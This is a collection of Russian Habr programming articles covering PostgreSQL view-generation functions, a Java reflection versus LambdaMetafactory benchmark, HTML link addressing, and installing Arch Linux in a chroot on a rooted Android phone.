Размещение нескольких (в том числе scroll) видов на одном общем контейнере-scroll view не является приёмом на каждый день, но этот подход может упростить вам работу с источниками данных для таблиц и коллекций, а так же упростить разметку и компоновку, превратив их секции в отдельные виды.
*OLEContainerScrollView* в данный момент не является полнофункциональным компонентом, но я надеюсь, что он станет таким с вашей помощью. Во всяком случае, написание этого компонента помогло мне углубить моё понимание устройства *UIScrollView* и координатной системы *UIKit*.
#### Сноски:
1. Это то, что я бы хотел сделать более гибким в будущей версии. В данный момент класс поддерживает только вертикальную разметку.
2. Я сделал это пока только для видов, наследующих от *UIScrollView*. Высота *frame* обычного *UIView* остаётся неизменной, даже если вид не находится в области видимости. Я сделал так, чтобы избежать изменений в разметке (или даже ошибок в *auto layout*), которые могли бы быть вызваны обнулением размеров вида, который не ожидает таких манипуляций со своими размерами. Изменение такого поведения будет несложным в дальнейшем.
**От переводчика**Так же желательно для более глубокого понимания прочитать статью [«Understanding UIScrollView»](http://oleb.net/blog/2014/04/understanding-uiscrollview/). | https://habr.com/ru/post/224815/ | null | ru | null |
# Облегчаем себе жизнь
При разработке проектов используем БД PostgreSQL, благодаря ее открытости, бесплатности и довольно большого функционала. По принятой архитектуре, для таблиц создаем вьюшки (представления) и приложения работают уже с ними. Во многих случаях вьюшки один в один копируют таблицы, но каждую из них надо создавать и писать правила для обновления, удаления и вставки записи, что занимает время.
И вот в один из прекрасных дней, мне это надоело и я решил автоматизировать этот процесс. Вот так появилась следующая функция:
```
CREATE OR REPLACE FUNCTION pg_createview(table_ text, schema_ text)
RETURNS integer AS
$BODY$
DECLARE obj record;
num integer;
_schema alias for $2;
_tablelike alias for $1;
_table character varying;
sql character varying;
sqlclm1 character varying;
sqlclm2 character varying;
sqlclmkey character varying;
_col text;
exist_view character varying;
BEGIN
num:=0;
FOR obj IN SELECT relname FROM pg_class c
JOIN pg_namespace ns ON (c.relnamespace = ns.oid) WHERE
relkind ='r' AND
nspname = $2 AND
relname LIKE $1
LOOP
_table=obj.relname;
--удаление вьюшки
--SELECT relname INTO exist_view FROM pg_class WHERE relname=_schema||'.v'||_table;
SELECT relname INTO exist_view FROM pg_class c JOIN pg_namespace ns ON (c.relnamespace = ns.oid) WHERE
nspname = _schema AND relname='v'||_table;
IF exist_view IS NOT NULL THEN
EXECUTE 'DROP VIEW '||_schema||'.v' || _table;
END IF;
--создание вьюшки
EXECUTE 'CREATE OR REPLACE VIEW '||_schema||'.v' || _table || ' as select * from ' || $2 || '.' || _table;
--ключевое поле таблицы (случай, когда ключевое поле одно. если несколько то за ключевое поле берется первое ключевое поле)
sqlclmkey='';
--SELECT column_name into sqlclmkey FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE where table_schema=_schema and table_name=_table and ordinal_position=1;
SELECT pg_attribute.attname into sqlclmkey
FROM pg_index, pg_class, pg_attribute
WHERE
pg_class.oid = (_schema||'.'||_table)::regclass AND
indrelid = pg_class.oid AND
pg_attribute.attrelid = pg_class.oid AND
pg_attribute.attnum = any(pg_index.indkey)
AND indisprimary;
--создание правила на вставку
sqlclm1='';
sqlclm2='';
FOR _col IN execute 'select column_name from information_schema.columns where table_schema='||quote_literal(_schema)||' and table_name='||quote_literal(_table) Loop
sqlclm1=sqlclm1||_col||',';
sqlclm2=sqlclm2||'new.'||_col||',';
end loop;
sqlclm1=substring(sqlclm1 from 1 for (length(sqlclm1)-1) );
sqlclm2=substring(sqlclm2 from 1 for (length(sqlclm2)-1) );
sql='CREATE RULE "v'||_table||'_ins" AS ON INSERT TO "'||_schema||'"."v'||_table||'" DO INSTEAD (';
sql=sql||'INSERT INTO '||_schema||'.'||_table||'('||sqlclm1||') VALUES ('||sqlclm2||'););';
EXECUTE sql;
--создание правила на update
sqlclm1='';
sqlclm2='';
FOR _col IN execute 'select column_name from information_schema.columns where table_schema='||quote_literal(_schema)||' and table_name='||quote_literal(_table) Loop
sqlclm1=sqlclm1||_col||'=new.'||_col||',';
end loop;
sqlclm1=substring(sqlclm1 from 1 for (length(sqlclm1)-1) );
sql='CREATE RULE "v'||_table||'_upd" AS ON UPDATE TO "'||_schema||'"."v'||_table||'" DO INSTEAD (';
sql=sql||' UPDATE '||_schema||'.'||_table||' SET '||sqlclm1||' WHERE '||sqlclmkey||'=old.'||sqlclmkey||';);';
EXECUTE sql;
--создание правила на delete
sql='CREATE RULE "v'||_table||'_del" AS ON DELETE TO "'||_schema||'"."v'||_table||'" DO INSTEAD (';
sql=sql||'DELETE FROM '||_schema||'.'||_table||' WHERE '||sqlclmkey||'=old.'||sqlclmkey||';);';
EXECUTE sql;
num := num + 1;
END LOOP;
RETURN num;
END;
$BODY$
LANGUAGE 'plpgsql' VOLATILE
COST 100;
ALTER FUNCTION pg_createview(text, text) OWNER TO postgres;
```
Сразу оговорюсь, что она работает только с таблицами, где одно ключевое поле.
Пример №1. Вызов функции для таблицы users в схеме main:
```
select pg_createview( 'users', 'main');
```
на выходе получаем вьюшку vusers со всеми правилами.
Пример №2. Вызов функции для таблиц, наименование которых начинается с «gz\_» в схеме main:
```
select pg_createview( 'gz_%', 'main');
```
на выходе получаем вьюшки для всех указанных таблиц со всеми правилами.
Так же вместе с этой функцией использую еще:
1. Для массового назначения владельца таблицам и вьюшкам:
```
CREATE OR REPLACE FUNCTION pg_owner(user_ text, table_ text, schema_ text)
RETURNS integer AS
$BODY$
DECLARE obj record;
num integer;
BEGIN
num:=0;
FOR obj IN SELECT relname FROM pg_class c
JOIN pg_namespace ns ON (c.relnamespace = ns.oid) WHERE
relkind in ('r','v') AND
nspname = $3 AND
relname LIKE $2
LOOP
EXECUTE 'ALTER TABLE ' || $3 || '.' || obj.relname || ' OWNER TO ' || $1;
num := num + 1;
END LOOP;
RETURN num;
END;
$BODY$
LANGUAGE 'plpgsql' VOLATILE
COST 100;
ALTER FUNCTION pg_owner(text, text, text) OWNER TO postgres;
```
вызов аналогичен предыдущей функции:
Пример. Вызов функции для таблиц, наименование которых начинается с «gz\_» в схеме main для пользователя umain:
```
select pg_owner( 'umain', 'gz_%', 'main');
```
для вьюшек созданных предыдущей функцией
```
select pg_owner( 'umain', 'vgz_%', 'main');
```
и если нет противоречий в названиях, то можно обойтись одним вызовом для таблиц и вьюшек:
```
select pg_owner( 'umain', '%gz_%', 'main');
```
2. Для массового назначения привилегий таблицам и вьюшкам: ( [источник функции](http://kennii.wordpress.com/2007/09/21/postgres-grant-privileges-to-all-tables-in-a-database/) )
```
CREATE OR REPLACE FUNCTION pg_grant(user_ text, action_ text, table_ text, schema_ text)
RETURNS integer AS
$BODY$
DECLARE obj record;
num integer;
BEGIN
num:=0;
FOR obj IN SELECT relname FROM pg_class c
JOIN pg_namespace ns ON (c.relnamespace = ns.oid) WHERE
relkind in ('r','v','S') AND
nspname = $4 AND
relname LIKE $3
LOOP
EXECUTE 'GRANT ' || $2 || ' ON ' || $4 || '.' || obj.relname || ' TO ' || $1;
num := num + 1;
END LOOP;
RETURN num;
END;
$BODY$
LANGUAGE 'plpgsql' VOLATILE
COST 100;
ALTER FUNCTION pg_grant(text, text, text, text) OWNER TO postgres;
```
P|S функцию pg\_createview можно модифицировать под свои нужды, например
— создавать вьюшки без правил, если нет ключевых полей
— если ключевых полей более одного, то создавать правила по всем ним, а не только по первому ключевому полю. | https://habr.com/ru/post/215373/ | null | ru | null |
# Не заставляйте слушателей рефлексировать
Введение
--------
В процессе разработки очень часто возникает необходимость создать экземпляр класса, имя которого хранится в конфигурационном XML файле, или вызвать метод, название которого написано в виде строки как значение атрибута аннотации. В таких случаях ответ один: “Используй reflection!”.
В новой версии [CUBA Platform](http://cuba-platform.com/) одной из задач по улучшению фреймворка было избавление от явного создания обработчиков событий в классах-контроллерах UI экранов. В предыдущих версиях объявления обработчиков в методе инициализации контроллера очень захламляли код, так что в седьмой версии мы решительно намерились все оттуда вычистить.
Обработчик событий (event listener) — это всего лишь ссылка на метод, который нужно вызвать в нужный момент (см. [шаблон Observer](https://en.wikipedia.org/wiki/Observer_pattern)). Такой шаблон достаточно просто реализовать с использованием класса `java.lang.reflect.Method`. При старте нужно всего лишь просканировать классы, вытащить из них аннотированные методы, сохранить ссылки на них, и использовать ссылки для вызова метода (или методов) при наступлении события, как это сделано в основной массе фреймворков. Единственное, что нас останавливало, так это то, что в UI традиционно генерируется очень много событий, а при использовании reflection API приходится платить некоторую цену в виде времени вызова методов. Поэтому мы решили посмотреть на то, как ещё можно сделать обработчики событий, не используя reflection.
Мы уже публиковали на хабре материалы про [MethodHandles](https://habr.com/ru/company/haulmont/blog/431922/) и [LambdaMetafactory](https://habr.com/ru/company/haulmont/blog/432418/), и этот материал является своеобразным продолжением. Мы рассмотрим аргументы “за” и “против” использования reflection API, а также альтернативы — генерацию кода с AOT компиляцией и LambdaMetafactory, и как это было применено во фреймворке CUBA.
Reflection: Старый. Добрый. Надежный
------------------------------------
*В информатике отражение или рефлексия (холоним интроспекции, англ. reflection) означает процесс, во время которого программа может отслеживать и модифицировать собственную структуру и поведение во время выполнения.* (с) Wikipedia.
Для большинства Java разработчиков reflection — ни разу не новая вещь. Мне кажется, что без этого механизма Java не стала бы той Java, которая сейчас занимает большую долю рынка разработки прикладного программного обеспечения. Просто подумайте: проксирование, привязка методов к событиям через аннотации, внедрение зависимостей, аспекты, да даже инстанцирование JDBC драйвера в самых первых версиях JDK! Reflection везде, это краеугольный камень всех современных фреймворков.
Есть ли с Reflection какие-то проблемы, применительно к нашей задаче? Мы выделили три:
*Скорость* — вызов метода через Reflection API медленнее, чем прямой вызов. В каждой новой версии JVM разработчики все время ускоряют вызовы через reflection, JIT компилятор старается еще больше оптимизировать код, но все равно разница в сравнении с прямым вызовом метода заметна.
*Типизация* — если вы используете `java.lang.reflect.Method` в коде, то это просто ссылка на какой-то метод. И нигде не написано, сколько параметров передается и какого они типа. Вызов с неправильными параметрам сгенерирует ошибку в рантайме, а не на этапе компиляции или загрузки приложения.
*Прозрачность* — если метод, вызванный через reflection, свалится с ошибкой, то нам придется продираться через несколько вызовов `invoke()`, прежде, чем мы докопаемся до реальной причины ошибки.
Но если мы заглянем в код обработчиков событий Spring или JPA колбэков в Hibernate, то там внутри будут старые добрые `java.lang.reflect.Method`. И в ближайшем будущем, я думаю, это вряд ли изменится. Эти фреймворки слишком большие и на них завязано слишком много всего, да и, похоже, производительности обработчиков событий на server-side хватает, чтобы думать о том, на что можно заменить вызовы через reflection.
А какие ещё варианты есть?
AOT компиляция и кодогенерация — вернем приложениям скорость!
-------------------------------------------------------------
Первый кандидат на замену reflection API — генерация кода. Сейчас начали появляться фреймворки, такие как [Micronaut](https://micronaut.io/) или [Quarkus](https://quarkus.io/), которые стараются решать две проблемы: уменьшение скорости запуска приложения и уменьшение потребления памяти. Эти две метрики жизненно важны в наш век контейнеров, микросервисов и serverless архитектур, и новые фреймворки пытаются решить это путем AOT компиляции. Используя разные техники (можно почитать [тут](https://medium.com/@mesirii/ad-astra-the-micronaut-framework-52ff2d684877), например), код приложения модифицируется таким образом, что все рефлексивные вызовы методов, конструкторов и т.д. заменяются на прямые вызовы. Таким образом, не нужно сканировать классы и создавать бины во время запуска приложения, да и JIT более эффективно оптимизирует код во время выполнения, что дает значительное увеличение производительности приложений, построенных на таких фреймворках. Есть ли у этого подхода недостатки? Ответ: конечно, есть.
Первое — вы запускаете не тот код, который вы написали.Во время компиляции изменяется исходный код, поэтому если что-то идет не так, иногда бывает сложно понять, где ошибка: в вашем коде или в алгоритме генерации (обычно, в вашем, конечно). И отсюда же вытекает проблема отладки — отлаживать приходится не свой код.
Второе — для запуска приложения, написанного на фреймворке с AOT компиляцией, нужен специальный инструмент. Нельзя просто так взять и запустить приложение, написанное на Quarkus, например. Нужен специальный плагин для maven/gradle, который предварительно обработает ваш код. И теперь, в случае обнаружения ошибок во фреймворке, нужно обновлять не только библиотеки, но и плагин.
По правде сказать, кодогенерация — это тоже не новость в Java мире, она не появилась с [Micronaut](https://micronaut.io/) или [Quarkus](https://quarkus.io/). В том или ином виде некоторые фреймворки ее используют. Здесь можно вспомнить lombok, aspectj с его предварительной генерацией кода для аспектов или eclipselink, который в классы-сущности добавляет код для более эффективной десериализации. В [CUBA](http://cuba-platform.com/) мы используем генерацию кода для генерации событий об изменении состояния сущности и для включения сообщений валидаторов в код класса для упрощения работы с сущностями в UI.
Для разработчиков CUBA реализовать генерацию статического кода для обработчиков событий было бы несколько экстремальным шагом, потому что нужно было проделать очень много изменений во внутренней архитектуре и в плагине для генерации кода. Есть ли что-то, что похоже на reflection, но быстрее?
LambdaMetafactory — такие же вызовы методов, но быстрее
-------------------------------------------------------
В Java 7 появилась новая инструкция для JVM — `invokedynamic`. Про нее есть отличный доклад Владимира Иванова на jug.ru [тут](https://www.youtube.com/watch?v=DgshYDTpS9I). Изначально задуманная для использования в динамических языках вроде Groovy, эта инструкция стала отличным кандидатом на то, чтобы вызывать методы в Java без использования reflection. Одновременно с новой инструкцией в JDK появился связанный с ним API:
* Класс `MethodHandle` — появился ещё в Java 7, но все еще не очень часто применяется
* `LambdaMetafactory` — этот класс уже из Java 8, он стал дальнейшим развитием API для динамических вызовов, использует `MethodHandle` внутри.
Казалось, что `MethodHandle`, по сути являясь типизированным указателем на метод, (конструктор, и т.д.), сможет выполнять роль `java.lang.reflect.Method`. И вызовы будут быстрее, потому что все проверки на соответствие типов, которые выполняются в Reflection API при каждом вызове, в данном случае выполняются только один раз, при создании `MethodHandle`.
Но увы, чистый `MethodHandle` оказался даже медленее, чем вызовы через reflection API. Можно добиться повышения производительности, если сделать `MethodHandle` статическими, но не во всех случаях это возможно. Есть отличная дискуссия по поводу скорости вызовов `MethodHandle` [на рассылке OpenJDK](http://mail.openjdk.java.net/pipermail/mlvm-dev/2018-February/006806.html).
Но, когда появился класс `LambdaMetafactory`, то появился реальный шанс ускорить вызовы методов. `LambdaMetafactory` позволяет создать объект-лямбду и завернуть в него прямой вызов метода, который можно получить через `MethodHandle`. А потом, используя сгенерированный объект, можно вызывать нужный метод. Вот пример генерации, которая “оборачивает” метод-getter, переданный в качестве параметра, в BiFunction:
```
private BiFunction createGetHandlerLambda(Object bean, Method method)
throws Throwable {
MethodHandles.Lookup caller = MethodHandles.lookup();
CallSite site = LambdaMetafactory.metafactory(caller,
"apply",
MethodType.methodType(BiFunction.class),
MethodType.methodType(Object.class, Object.class, Object.class),
caller.findVirtual(bean.getClass(), method.getName(),
MethodType.methodType(method.getReturnType(), method.getParameterTypes()[0])),
MethodType.methodType(method.getReturnType(), bean.getClass(), method.getParameterTypes()[0]));
MethodHandle factory = site.getTarget();
BiFunction listenerMethod = (BiFunction) factory.invoke();
return listenerMethod;
}
```
В итоге, мы получаем экземпляр BiFunction вместо Method. И теперь, если даже мы и использовали Method в своем коде, то заменить его на BiFunction не составит труда. Возьмем реальный (немного упрощенный, правда) код вызова обработчика метода, помеченного `@EventListener` из Spring Framework:
```
public class ApplicationListenerMethodAdapter
implements GenericApplicationListener {
private final Method method;
public void onApplicationEvent(ApplicationEvent event) {
Object bean = getTargetBean();
Object result = this.method.invoke(bean, event);
handleResult(result);
}
}
```
А вот тот же код, но который использует вызов метода через лямбду:
```
public class ApplicationListenerLambdaAdapter
extends ApplicationListenerMethodAdapter {
private final BiFunction funHandler;
public void onApplicationEvent(ApplicationEvent event) {
Object bean = getTargetBean();
Object result = funHandler.apply(bean, event);
handleResult(result);
}
}
```
Минимальные изменения, функциональность такая же, но есть преимущества:
*У лямбды есть тип* — он указывается при создании, так что вызвать “просто метод” не получится.
*Стек трейс короче* — при вызове метода через лямбду добавляется всего один дополнительный вызов — `apply()`. И все. Дальше вызывается сам метод.
А вот скорость надо померить.
### Замеряем скорость
Для проверки гипотезы мы сделали микробенчмарк с использованием [JMH](https://openjdk.java.net/projects/code-tools/jmh/) для сравнения времени выполнения и пропускной способности при вызове одного и того же метода разными способами: через reflection API, через LambdaMetafactory, а также добавили прямой вызов метода для сравнения. Ссылки на Method и на лямбды создавались и кэшировались перед запуском теста.
Параметры тестирования:
```
@BenchmarkMode({Mode.Throughput, Mode.AverageTime})
@Warmup(iterations = 5, time = 1000, timeUnit = TimeUnit.MILLISECONDS)
@Measurement(iterations = 10, time = 1000, timeUnit = TimeUnit.MILLISECONDS)
```
Сам тест можно скачать с [GitHub](https://github.com/cuba-rnd/entity-lambda-accessors-benchmark) и запустить самому, если интересно.
Результаты теста для Oracle JDK 11.0.2 и JMH 1.21 (цифры могут отличаться, но разница остается заметной и примерно одинаковой):
| **Test — Get Value** | **Throughput (ops/us)** | **Execution Time (us/op)** |
| --- | --- | --- |
| LambdaGetTest | 72 | 0.0118 |
| ReflectionGetTest | 65 | 0.0177 |
| DirectMethodGetTest | 260 | 0.0048 |
| **Test — Set Value** | **Throughput (ops/us)** | **Execution Time (us/op** |
| LambdaSetTest | 96 | 0.0092 |
| ReflectionSetTest | 58 | 0.0173 |
| DirectMethodSetTest | 415 | 0.0031 |
В среднем, получилось, что вызов метода через лямбду примерно на 30% быстрее, чем через reflection API. Есть ещё одна отличная дискуссия о производительности вызова методов [тут](https://www.mail-archive.com/mlvm-dev@openjdk.java.net/msg06747.html), если кому-то интересны детали. Коротко — выигрыш в скорости получается в том числе и за счет того, что сгенерированные лямбды могут быть заинлайнены в код программы, а ещё не выполняются проверки типов, в отличие от reflection.
Конечно, этот бенчмарк довольно простой, тут не включен вызов методов по иерархии классов или замер скорости вызова final методов. Но мы делали и более сложные измерения, и результаты всегда были в пользу использования LambdaMetafactory.
Использование
-------------
Во фреймворке CUBA версии 7, в контроллерах UI можно использовать аннотацию `@Subscribe` для того, чтобы “подписать” метод на определенные события пользовательского интерфейса. Внутри это реализовано на `LambdaMetafactory`, ссылки на методы-слушатели создаются и кэшируются при первом вызове.
Это нововведение позволило сильно очистить код, особенно в случае форм с большим количеством элементов, сложным взаимодействием и, соответственно, с большим количеством обработчиков событий. Простой пример из CUBA QuickStart: представьте, что вам нужно пересчитывать сумму заказа при добавлении или удалении позиций товаров. Нужно написать код, который запускает метод `calculateAmount()` при изменении коллекции в сущности. Как это выглядело раньше:
```
public class OrderEdit extends AbstractEditor {
@Inject
private CollectionDatasource linesDs;
@Override
public void init(
Map params) {
linesDs.addCollectionChangeListener(e -> calculateAmount());
}
...
}
```
А в CUBA 7 код выглядит так:
```
public class OrderEdit extends StandardEditor {
@Subscribe(id = "linesDc", target = Target.DATA\_CONTAINER)
protected void onOrderLinesDcCollectionChange (CollectionChangeEvent event) {
calculateAmount();
}
...
}
```
Итог: код чище и нет волшебного метода `init()`, который имеет свойство разрастаться и наполняться обработчиками событий с ростом сложности формы. А ещё — нам даже не надо делать поле с компонентом, на который мы подписываемся, CUBA найдет этот компонент по ID.
### Выводы
Несмотря на появление нового поколения фреймворков с AOT компиляцией ([Micronaut](https://micronaut.io/), [Quarkus](https://quarkus.io/)), у которых есть неоспоримые преимущества перед “традиционными” фреймворками (в основном, их сравнивают со [Spring](https://spring.io/)), в мире все еще остается огромное количество кода, которое написано с использованием reflection API (а за это спасибо все тому же Spring). И похоже, что Spring Framework на текущий момент все еще лидер среди фреймворков для разработки прикладных приложений и мы ещё долго будем работать с кодом, основанным на reflection.
А если вы думаете об использовании Reflection API в своем коде — приложение ли это или фреймворк — подумайте дважды. Сначала про генерацию кода, а потом — про MethodHandles/LambdaMetafactory. Второй способ может оказаться быстрее, а усилий на разработку будет затрачено не больше, чем в случае использования Reflection API.
*Ещё немного полезных ссылок:*
[A faster alternative to Java Reflection](https://medium.freecodecamp.org/a-faster-alternative-to-java-reflection-db6b1e48c33e)
[Hacking Lambda Expressions in Java](https://dzone.com/articles/hacking-lambda-expressions-in-java)
[Method Handles in Java](https://www.baeldung.com/java-method-handles)
[Java Reflection, but much faster](https://www.optaplanner.org/blog/2018/01/09/JavaReflectionButMuchFaster.html)
[Why is LambdaMetafactory 10% slower than a static MethodHandle but 80% faster than a non-static MethodHandle?](https://www.mail-archive.com/mlvm-dev@openjdk.java.net/msg06746.html)
[Too Fast, Too Megamorphic: what influences method call performance in Java?](http://insightfullogic.com/2014/May/12/fast-and-megamorphic-what-influences-method-invoca/) | https://habr.com/ru/post/447022/ | null | ru | null |
# Какие ссылки использовать: абсолютные или относительные?
Имеется в виду: какие адреса использовать для переходов внутри сайта? Допустим, мы хотим создать на домене site.ru с уже работающим сайтом другой подсайт, файлы которого будут находиться в папке shop. URL этого подсайта будет такой:
```
http://site.ru/shop
```
Почему мы усложнили задачу, будет ясно в конце данной статьи.
### 1. Абсолютные ссылки (absolute)
```
href="http://sites.ru/shop/" — ссылка на главную страницу магазина
href="http://sites.ru/shop/t-shirts/t-shirt-life-is-good/" — cсылка на страницу товара
```
### 2. Относительные ссылки (relative)
При использовании относительных ссылок за точку отсчета каждый раз берется отправная страница.
```
href="t-shirts/t-shirt-life-is-good/" — ссылка с главной страницы на страницу товара
href="../../" — ссылка со страницы товара на главную страницу
```
Здесь можно сделать первый вывод. Хотя относительные адреса выглядят короче абсолютных, однако абсолютные адреса предпочтительнее, так как одну и ту же ссылку можно применять в неизменном виде на любой странице сайта, на какой бы глубине она не находилась.
### Промежуточные варианты
Выше мы рассмотрели два крайних случая: чисто абсолютные и чисто относительные ссылки. Однако имеются и другие варианты ссылок. Прежде нужно сказать, что в этом мире всё относительно. Это касается и ссылок. Говоря о том, что ссылка абсолютная, нужно всегда указывать: относительно чего. Для краткости договоримся все промежуточные варианты ссылок, которые мы рассмотрим ниже, называть с помощью следующей конструкции «адрес относительно ...», хотя по сути все они будут абсолютными. Первые два варианта ссылок (1 и 2) будем по-прежнему называть просто «абсолютными» и «относительными».
### 3. Адрес относительно протокола (protocol-relative)
```
href="//sites.ru/shop/" — главная страница магазина
href="//sites.ru/shop/t-shirts/t-shirt-life-is-good/" — страница товара
```
Google рекомендует переходить именно на адреса без указания протокола. Однако, неизвестно, как долго будет длиться переходный период, так как сейчас считается, что http:// и https:// — это разные сайты
### 4. Адрес относительно корневой папки домена (root-relative)
```
href="/shop/" — главная страница магазина
href="/shop/t-shirts/t-shirt-life-is-good/" — страница товара
```
Это хороший выбор, если все страницы сайта находятся в пределах одного домена. При переносе сайта на другой домен, вам не придется делать массовую замену домена в ссылках.
### 5. Адрес относительно главной страницы сайта (base-relative)
В HTML есть тег . Он задает базовый адрес, который будет автоматически добавляться ко всем относительным ссылкам и якорям. Ставить этот тег нужно в разделе . В качестве базового адреса мы укажем URL главной страницы:
```
href="" — главная страница магазина
href="t-shirts/t-shirt-life-is-good/" — страница товара
```
Ко всем преимуществам предыдущего варианта адресов, здесь добавляется еще одно — теперь сайты можно безболезненно переносить не только на любой домен, но и в любую подпапку, так как название подпапки исчезло из href. Это удобно для разработки — вы собираете сайт в любой подпапке веб-сервера своего рабочего компьютера, и, когда, сайт готов, просто переносите файлы сайта на хостинг.
Остается только привыкнуть к тому что, хотя адреса и записаны, как относительные, ведут они себя как абсолютные. Особенно нужно помнить о якорях, так как привычная конструкция href="#comments" теперь производит переход не в пределах текущей страницы, а переводит на главную страницу, так как впереди будет автоматически приписан URL главной страницы. Теперь впереди хеша нужно явно прописывать адрес текущей страницы: href=«t-shirts/t-shirt-life-is-good/#comments».
Что касается «настоящих» абсолютных ссылок (1, 3, 4), то они работают как обычно — тег base не оказывает на них никакого действия. Действие элемента base распространяется только на html-документ, но не касается относительных URL внутри css, js, svg и др. файлов.
### Заключение
Какой вариант ссылок использовать, решать вам, так как в каждом случае нужно учитывать и другие факторы. Я для внутренних ссылок использую адреса относительно главной страницы сайта (5.base-relative). Для внешний ссылок и рассылок с сайта лучше использовать абсолютные ссылки (1.absolute). | https://habr.com/ru/post/310286/ | null | ru | null |
# Установка Archlinux на телефон с Android во второй раздел SD или просто подпапку системной карты памяти
Привет всем. Тут уже была [статья](http://habrahabr.ru/company/xakep/blog/208518/) на тему Botbrew, где в целом описано что это такое и что это дает. Вкратце:
> Проект BotBrew призван решить многие проблемы с установкой Linux-софта, которые только могут возникнуть у пользователя, и подготовить систему Android к принятию инородных для нее приложений.
Обычный, классический Botbrew имеет свой репозиторий, но в нем мало пакетов, что грустно. Тем, кто действительно хочет беспредельничать, понравится Borbrew-Basil, который использует дебиановский репозиторий [emdebian](http://www.emdebian.org/). Однако, с ним нынче тоже все грустно, так как
> As of July 2014, updates to the Emdebian distributions ceased. There will be no further updates and no further stable releases.
Получается, что даже те, кто когда-то поставил себе emdebian, нынче в пролете. Данный пост будет о том, как поставить на рутованный телефон [Archlinux](http://archlinuxarm.org), но не как обычно в loop образ, а на родную файловую систему Android или второй раздел SD. Предполагается, что имеется рутованный телефон с установленным busybox, включенной отладкой по USB и утилита adb на основном компьютере.
Готовим устройство
==================
Первое, что нам понадобится — создать папку, куда будем ставить наш линух. Варианта два — папка на разделе /data или отдельный ext4 раздел карты памяти. Во втором случае раздел надо будет как-то смонтировать в основную ФС телефона. Сделать это можно например с помощью [Link2SD](http://forum.xda-developers.com/showthread.php?t=919326). Далее я буду исходить из того, что используется второй раздел SD, смонтированный в /data/sdext2, ставить будем в папку /data/sdext2/arch.
Также надо понять, репозиторий для какой архитектуры процессора будем использовать. У меня Qumo Quest 454 с процессором armv7l и для него подошел <http://mirror.archlinuxarm.org/arm/>.
Подключаем телефон по USB, заходим на него через adb и понеслась.
Собираем минимальный стартовый вариант
======================================
Для минимальной установки понадобятся следующие пакеты (выполняем от рута, версии пакетов со временем могут стать новее):
```
mkdir -p /data/sdext2/arch/packages
cd /data/sdext2/arch/packages
wget http://mirror.archlinuxarm.org/arm/core/acl-2.2.52-2-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/attr-2.4.47-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/bash-4.3.030-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/bzip2-1.0.6-5-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/curl-7.39.0-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/e2fsprogs-1.42.12-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/expat-2.1.0-4-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/filesystem-2014.10-3-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/gcc-libs-4.9.2-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/glibc-2.20-4-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/gpgme-1.5.2-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/keyutils-1.5.9-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/krb5-1.13-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/libarchive-3.1.2-8-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/libassuan-2.1.3-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/libgpg-error-1.17-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/libidn-1.29-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/libssh2-1.4.3-2-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/lzo-2.08-3.1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/ncurses-5.9-6.1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/openssl-1.0.1.j-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/pacman-4.1.2-7-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/pacman-mirrorlist-20141208-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/readline-6.3.006-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/util-linux-2.25.2-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/xz-5.0.7-1-arm.pkg.tar.xz
wget http://mirror.archlinuxarm.org/arm/core/zlib-1.2.8-3-arm.pkg.tar.xz
```
После того, как все скачалось, распаковываем:
```
cd /data/sdext2/arch
tar xvf packages/*.pkg.xz
```
У нас получилось что-то типа минимальной установки Archlinux. Теперь попробуем сделать в нее chroot, предварительно смонтировав системные папки ():
```
busybox mount -t proc none ./proc
busybox mount -o rbind /dev ./dev
busybox mount -t sysfs none ./sys
busybox mount -t tmpfs none ./tmp
busybox mount -o size=10%,mode=0755 -t tmpfs none ./run
chroot . /bin/bash
```
Если все прошло успешно, то запустится bash из нашего минимального окружения и станет доступен pacman. У меня при запуске любого процесса система ругалась, что не может найти libsuc.so, описанный в LD\_PRELOAD. В этом случае просто чистим LD\_PRELOAD:
```
export LD_PRELOAD=
```
Приводим в порядок пакеты
=========================
Итак, мы в chroot'е, у нас работает pacman и bash. Первым делом приведем в порядок то, что есть. Пропишем DNS и загрузим репозитории:
```
echo "nameserver 8.8.8.8" > /etc/resolv.conf
pacman -Sy
```
Теперь поставим официально то, что просто так распаковали и добавим остальные минимально необходимые для жизни пакеты и еще вернем на место dns, который нам побила установка filesystem:
```
pacman -S base --force --noconfirm
echo "nameserver 8.8.8.8" > /etc/resolv.conf
```
Если все прошло удачно, то имеем полноценный за вычетом systemd и ядра Archlinux. Выходим из chroot и размонтируем все, что намонтировали:
```
exit
umount ./dev/pts
umount ./dev/cpuctl
umount ./proc
umount ./sys
umount ./tmp
umount ./run
```
Добавляем автомонтирование и прочие плюшки
==========================================
